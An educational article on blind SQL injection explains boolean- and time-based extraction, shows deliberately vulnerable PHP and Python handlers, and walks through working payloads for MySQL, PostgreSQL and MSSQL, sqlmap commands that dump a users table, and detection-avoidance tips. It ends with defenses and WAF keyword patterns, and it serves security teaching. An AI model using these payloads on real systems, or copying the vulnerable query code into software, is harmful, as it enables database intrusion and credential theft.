Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Blind SQL injection is what you’re left with when a target is injectable but gives you no direct feedback — no database error messages reflected in the response, and no query results printed back to the page. Classic in-band SQL injection lets an attacker read data straight out of the response body (a UNION SELECT that lands in a visible table, or an error message that leaks the query). Blind injection has neither: the application returns exactly one of a small number of observable states — a page that renders differently, an HTTP status code, or a response that arrives noticeably faster or slower. The attacker’s job is to turn that single bit of signal into full data extraction.
Despite the reduced signal, blind SQLi is fully exploitable and, in practice, just as dangerous as an in-band bug — it is only slower to operate manually, and tooling like sqlmap closes even that gap. Boolean-based extraction asks the database true/false questions and reads the answer from a content difference; time-based extraction asks the same questions but reads the answer from how long the response takes, which works even when the response content never changes at all (“fully blind”). Both techniques reconstruct arbitrary data — schema names, table contents, credentials, session secrets — one bit or one character at a time.
Attack Prerequisites
Blind SQLi requires the same underlying flaw as any SQL injection, plus a specific set of conditions about how the app surfaces (or hides) the result:
- Unsanitized input reaching a SQL query — a parameter concatenated or interpolated directly into a query string rather than bound as a parameter.
- A syntactically valid injection point — the attacker’s injected condition must be able to alter the query’s
WHERElogic (or similar) without breaking the surrounding SQL syntax, typically via comment sequences (-- -,#) or balanced quotes/parentheses. - No direct data reflection — this is what makes it *blind*: query results and DB error text are not shown in the response, ruling out
UNION-based or error-based extraction. - Some observable behavioral difference — for boolean-based, a
TRUEvsFALSEcondition must change the page (content, length, a redirect, an HTTP status); for time-based, the DBMS must support a sleep/delay function reachable from the injection context, and the app must not impose a hard request timeout shorter than the induced delay.
How It Works
Both techniques exploit the same core idea: wrap an attacker-chosen condition in the injected SQL so its truth value controls something the attacker can observe from outside. Boolean-based injection appends a conditional clause with AND so the result set (and the rendered page) is unchanged when the condition is true, and empty/different when false — ... WHERE id=1 AND 1=1 returns the normal page, ... WHERE id=1 AND 1=2 returns nothing. Once that oracle is established, the attacker replaces the constant with a comparison against real data — SUBSTRING(@@version,1,1)='8' asks “is the first version character ‘8’?” — and iterates across every position and candidate (or binary-searches the ASCII value with ASCII(SUBSTRING(...))>N to cut queries per character from ~96 to ~7).
Time-based injection is the same character-by-character strategy, but instead of relying on a content difference it forces the database to sleep only when the condition is true, and the attacker measures wall-clock response time instead of reading the body: IF(condition, SLEEP(5), 0) on MySQL, or SELECT CASE WHEN condition THEN pg_sleep(5) ELSE pg_sleep(0) END on PostgreSQL. This is strictly more general than boolean-based because it needs no observable content difference at all — it works even when every response is byte-identical, provided it isn’t cut off by a shorter server-side timeout.
Both approaches scale to full database extraction because SQL provides string functions (SUBSTRING, ASCII, LENGTH) and metadata functions (@@version, database(), information_schema.tables/columns) that let an attacker enumerate schema structure and then walk arbitrary column contents character by character, through the same TRUE/FALSE oracle, without the database ever printing a byte back into the response.
Vulnerable Code / Configuration
The root cause is unchanged from any other SQLi variant: user input concatenated directly into a query string. What makes it specifically *blind* is that the surrounding application code swallows the query result and error detail instead of reflecting it — this PHP/MySQLi handler shows both problems together:
<?php
// GET /item?id=1
$id = $_GET['id'];
// VULNERABLE: raw string concatenation into the query.
$sql = "SELECT name, price FROM items WHERE id = " . $id;
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
echo "<div class='item-found'>Item available</div>";
} else {
echo "<div class='item-missing'>Not found</div>";
}
// No error text, no row contents ever reach the client -- only these
// two divs are observable, which is enough for boolean-blind SQLi:
// ?id=1 AND 1=1-- -> "Item available" ?id=1 AND 1=2-- -> "Not found"
PHPThe time-based variant needs no content branching at all — exploitable even when the endpoint always returns the identical response body:
@app.route('/search')
def search():
q = request.args.get('q')
# VULNERABLE: f-string interpolation, no parameter binding.
cur.execute(f"SELECT id FROM products WHERE name = '{q}'")
cur.fetchall()
return render_template('results.html') # ALWAYS the same page
# SAFE: cur.execute("SELECT id FROM products WHERE name = %s", (q,))
PythonWalkthrough / Exploitation
Step 1 — confirm injection and establish the boolean oracle with the simplest possible TRUE/FALSE pair:
id=1 AND 1=1-- - -> normal page (baseline TRUE)
id=1 AND 1=2-- - -> different page (baseline FALSE)
SQLStep 2 — once the oracle is confirmed, replace the constant with a real comparison and binary-search each character of interest. Extracting the DBMS version character by character via SUBSTRING:
-- is the first character of the version string '8'?
1 AND SUBSTRING(@@version,1,1)='8'-- -
-- binary-search variant, far fewer requests per character:
1 AND ASCII(SUBSTRING(@@version,1,1))>52-- -
1 AND ASCII(SUBSTRING(@@version,1,1))>56-- -
-- narrow the range until the ASCII code is pinned, then repeat for
-- position 2, 3, 4 ... to reconstruct the full string
SQLStep 3 — when no content difference is observable at all, switch to time-based extraction and measure response latency instead. MySQL:
1 AND IF(SUBSTRING(database(),1,1)='a',SLEEP(3),0)-- -
-- ~3s response => first character of the current DB name is 'a'
-- fast response => try the next candidate character
SQLPostgreSQL and MSSQL use different sleep primitives but the identical logic:
-- PostgreSQL
1; SELECT CASE WHEN (SUBSTRING(current_database(),1,1)='a')
THEN pg_sleep(3) ELSE pg_sleep(0) END-- -
-- Microsoft SQL Server
1; IF (SUBSTRING(DB_NAME(),1,1)='a') WAITFOR DELAY '0:0:3'-- -
SQLStep 4 — manual extraction is slow; in practice the whole process is automated once the oracle is identified:
sqlmap -u 'https://target/item?id=1' --technique=BT --batch --dbs
sqlmap -u 'https://target/item?id=1' --technique=BT --batch \
-D appdb -T users --dump
BashNote: Time-based extraction is noisy on unreliable networks — jitter and load spikes produce false positives, so real payloads should be repeated and compared against a measured baseline rather than one fixed threshold; sqlmap’s
--time-seccontrols the delay and already accounts for this.
Opsec: Time-based techniques are directly detectable as anomalous request duration in access logs and APM traces, and repeated sleep calls can measurably increase DB load — prefer boolean-based extraction when any oracle exists, and keep delays as short as reliably distinguishable (2-3s) rather than defaulting to long sleeps.
Detection and Defense
The fix for blind SQLi is identical to the fix for every other SQLi variant — the “blind” part only describes how the attacker extracts data, not a different root cause:
- Parameterized queries / prepared statements everywhere — the query structure is fixed at prepare time and user input is always bound as data, which eliminates the injection point regardless of how the app surfaces results.
- Least-privilege database accounts — the web app’s DB user should not have access to unrelated schemas/tables, limiting what even a successful injection can reach.
- Statement timeouts at the database level (
max_execution_time,statement_timeout) bound the damage of time-based payloads and turn obviously abusiveSLEEP()chains into failed queries instead of a usable oracle. - WAF / anomaly detection — flag requests containing
SLEEP(,pg_sleep(,WAITFOR DELAY,BENCHMARK(, or unusually long response times correlated with parameter changes.
Real-World Impact
SQL injection, including its blind variants, has remained in the OWASP Top 10’s Injection category for over a decade and is among the most consistently exploited web vulnerabilities in breach post-mortems, precisely because one unparameterized query anywhere in an application is enough for full database compromise. Blind techniques are the default outcome on modern applications that use generic error pages and minimal result reflection — most real-world SQLi engagements today are blind by default, which is exactly why boolean- and time-based extraction remain core skills rather than legacy techniques.
Conclusion
Blind SQL injection proves that hiding query results and error messages does not fix SQL injection — it only removes the fast path to exfiltration and forces the attacker to extract data one bit or one character at a time, a cost that automation with tools like sqlmap largely erases. Boolean-based and time-based extraction are two implementations of the same idea: turn a TRUE/FALSE condition into an observable signal, then ask enough questions to reconstruct arbitrary data. The only structural fix, as with every SQLi variant, is parameterized queries — everything else is damage control.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments